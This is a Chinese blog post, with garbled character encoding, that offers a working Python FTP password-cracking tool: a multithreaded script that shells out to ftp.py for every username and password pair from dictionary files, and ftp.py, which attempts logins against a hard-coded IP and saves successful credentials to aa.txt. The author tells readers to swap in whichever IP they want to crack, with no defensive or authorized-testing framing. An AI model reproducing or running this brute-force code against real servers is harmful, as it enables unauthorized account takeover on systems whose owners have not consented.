python具體強(qiáng)大的庫文件,很多功能都有相應(yīng)的庫文件,所以很有必要進(jìn)行學(xué)習(xí)一下,其中有一個ftp相應(yīng)的庫文件ftplib,我們只需要其中的登錄功能,然后利用多線程調(diào)用相應(yīng)字典里面的字段進(jìn)行登錄,還能根據(jù)自己的需要,根據(jù)自身的情況編寫需要的程序,讓程序代替我們?nèi)プ鲆恍┛菰锏闹貜?fù)工作。
下面直接上代碼,下面是主文件
import os
import time
import threading
class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)
相應(yīng)的ftp.py文件里面的代碼如下
import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘a(chǎn)a.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”
由于插不近格式,里面的縮進(jìn)的什么的得自己手動再調(diào)節(jié)一下
需要兩個文件,分別是user.txt和passwd.txt,這兩個分別是用戶名和賬戶的字典。
代碼其中的ftp破解IP可以自己修改成自己要破解的IP,最后正確的帳號和密碼會輸入到aa.txt文件中。
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061
微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元

